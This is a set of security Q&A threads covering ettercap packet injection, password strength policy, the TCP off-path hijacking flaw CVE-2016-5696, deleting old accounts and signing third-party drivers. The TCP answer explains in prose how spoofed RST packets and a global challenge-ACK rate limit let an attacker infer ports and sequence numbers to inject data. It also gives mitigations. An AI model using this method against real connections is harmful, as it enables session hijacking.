What type of file does etterfilter's inject() function take? PCAP? Plain text? Another file format?

I raised Issue #576 on the ettercap GitHub repository for clarification. The official response is that ettercap will inject the raw contents of any file into a packet (or into its own packet, if used in conjunction with the drop() command).

It does not require any particular file format.


Why is password strength often underestimated and uncertain in the context of password hashing? An aspect of security has bugged me for a long time: Why is there positive certainty about the importance of hashing algorithms and salts, but password strength is either never mentioned at all or considered a rather "philosophical" matter?

To me, there are three components of a correct hash implementation:

Slow and collision-free algorithm.
Good random salt.
Strong, dictionary-attack-proof password.

A failure in any component will render the whole hash thing useless. So, to me, there is no point to make a scene about using MD5, but then allow them to use 12345 as a password. To me, password strength is inseparable and strictly a technical matter, of no less importance than the other two aspects.

Yet, when it comes to the simple particular question, there is no particular answer at all!
Want a hashing algorithm suggestion? At your service!
Want to know how to get a good salt? There are a thousand ways!
Want to know what should be the minimum acceptable password strength? Err... you know, there is a trade-off and some political affairs of the sort, so "use the best you can".

But is there a technical, practical definition for the "use the best you can" technology? Just like one about hashing algorithms?

Or, in other words, why there is always a recommendation for the hashing algorithm, and a certain one ("use this"), but there is never a recommendation for the password strength ("allow at least such strength or understand the risk")?
Or always an enormous emphasis on the algorithm that should be used and no concern for the strength of the password at all. Can't this leave an impression that the hashing algorithm alone is enough, leaving the poor programmer with a false feeling of security?

Password hashing gets a lot of coverage in security guides and there is no good reason for this. Stopping SQL injection and executable file uploads is far more important. I think the reason for so much discussion is because it uses interesting-sounding technologies (like bcrypt) and few authentication libraries do it right by default.

The password storage best practice you mention is not universally agreed on, although it is heavily promoted by users on this site. In particular, using a slow hash algorithm is not usually possible on high traffic sites as the processing load is too great. There's an interesting document here

Password storage is generally invisible to users. Whether you use unsalted MD5 or scrypt, a user won't see any difference. Password strength is highly visible to users, and in particular, it is part of the registration process that most sites want to keep as simple as possible.

Something that is pretty universal is that having more security costs you something. And here's the difference between password storage and strength. Doing stronger password storage costs the site admins - but you can always buy more hardware, etc. Enforcing stronger password complexity costs the site users - and they will go away if they don't like it.

All security choices should be based on an understanding of risk. You don't need the same level of security for Angry Birds as you do for online banking, or indeed for nuclear weapons. In commercial environments, this kind of risk-based thinking is generally not done for defences that only cost the site admins, but it is heavily done for anything that affects the user experience.

For password strength, my advice is:

Low sensitivity - at least 6 characters
Medium sensitivity - Either: at least 8 characters, and a mix of letters, numbers and punctuation) OR at least 16 characters (at the user's option)
High sensitivity - use multi-factor authentication

It doesn't just depend on the sensitivity of the site though. There's a difference between online and offline attacks. A web site password doesn't need to be that strong, because an attacker can only try to guess it online, and you can use a lockout policy to slow these attacks. However, a Truecrypt password can be attacked offline (if the attacker has the drive) - so they need to be much stronger.

Password lockout policies are another important part of doing password authentication well, but they do not get the same coverage as password storage.

The more you look at passwords in detail you realise they are a pretty flawed authentication mechanism. All this best practice advice for making passwords as secure as possible is kind of like trying to re-attach a plane's wing using sticky tape.


TCP "off-path" Attack (CVE-2016-5696) Today I read that a flaw in a recent TCP specification leads to the injection of malicious content between the two communicating parties. How does the attack vector work?

I have also read a post in which the person writes randomizing the value in /proc/sys/net/ipv4/tcp_challenge_ack_limit can help in mitigating the attack. Is it true?

Link to the paper that explains the attack: 'Off-Path TCP Exploits: Global Rate Limit Considered
Dangerous'. Please note this is not about off-path TCP sequence inference attacks. Read the paper.

... leads to the injection

The flaw does not lead to the injection but it allows an attacker to inject data. I.e no inadvertently data corruption but a targeted modification by an attacker.

  How does the attack vector work?

Since you've referenced the paper I would expect that you've read it. Which parts you did not understand exactly? But to summarize it a bit:

The hard part of taking over a TCP connection is to guess the source port of the client and the current sequence number
The global rate limit for sending Challenge ACK's (100/s in Linux) introduced together with Challenge ACK (RFC5961) makes it possible in the first step to guess a source port used by the clients connection and in the next step to guess the sequence number. The main idea is to open a connection to the server and send with the source of the attacker as much RST packets with the wrong sequence mixed with a few spoofed packets. By counting how much Challenge ACK get returned to the attacker and by knowing the rate limit one can infer how much of the spoofed packets resulted in a Challenge ACK to the spoofed client and thus how many of the guesses where correct. This way can can quickly narrow down which values of port and sequence are correct. This attack can be done within a few seconds.
And of course the attacker need to be able to spoof the IP address of the client which is not true in all environments. It might be possible in local networks (depending on the security measures) but ISP will often block IP spoofing when done from the usual DSL/cable/mobile accounts.

But to really understand the attack you need to understand what Challenge ACK's are used (defend against off-path TCP RST) and how they work. Thus it might be useful to read the RFC 5961 too.

  randomizing the value in /proc/sys/net/ipv4/tcp_challenge_ack_limit .. Is it true?

Setting it to a random value and keeping it there will probably not help because the attack can figure out the new static limit. Changing the value every few seconds will help to confuse the attack. Setting the value to a very large value will also make the attack impossible.


Is it good practice to delete old accounts? Is it a good idea to delete all old accounts you no longer use?

This was asked specifically about email here, but what about your Stack Exchange account? Or your social media accounts, old forum logins, abandoned cloud services?

To avoid the question being too broad, I'm asking specifically about the sometimes recommended practice of seeking out all your old accounts and deleting the ones you don't want. There are sites that help with this, such as "Just Delete Me" and "Account Killer", and suggest it is good security advice to do so.

Every account you have most likely contains personal (and potentially financial) information about you in one way or another.

The more accounts you have with different websites, forums, games etc, the increased chance that one of these accounts could be involved in a data breach.

I don't see a downside in deleting old accounts.  This minimises risk, minimises your digital footprint and if you aren't using them then it shouldn't effect you if you get rid of them.


Should I sign someone else's code? I'm working on a product that includes 3rd party drivers for some of the product's hardware. Some of the drivers are not signed, others are only signed with sha1 certificates.

Given that getting new, sha2 signed (or dual signed) drivers from all the 3rd parties is going to be very difficult, if not impossible, should I sign the drivers I have with my company's code-signing certificate?

What are the implications, both technical and legal, in signing someone else code? Does it confer more than just "we've tested this version of the driver and trust it"?

When you sign code, it means that you vouch for that code. When people decide to trust your signature, it means that they trust you to only sign code after you verified that it is trustworthy.

When you abuse that trust and someone finds malware with your signature on it, you can expect them to never trust your signature again. When your certificate has a special trust status by any operating systems or distribution platforms, you can expect that this trust will likely be revoked if it comes to the attention of the maintainers that you signed malware with it.

So if you decide to sign 3rd party device drivers, you should only do so when you feel you can wholeheartedly take responsibility for whatever that driver does. If you can not do that with a clear conscience, it's better to leave it unsigned and let the user decide if they trust it. Or better, find a more trustworthy alternative.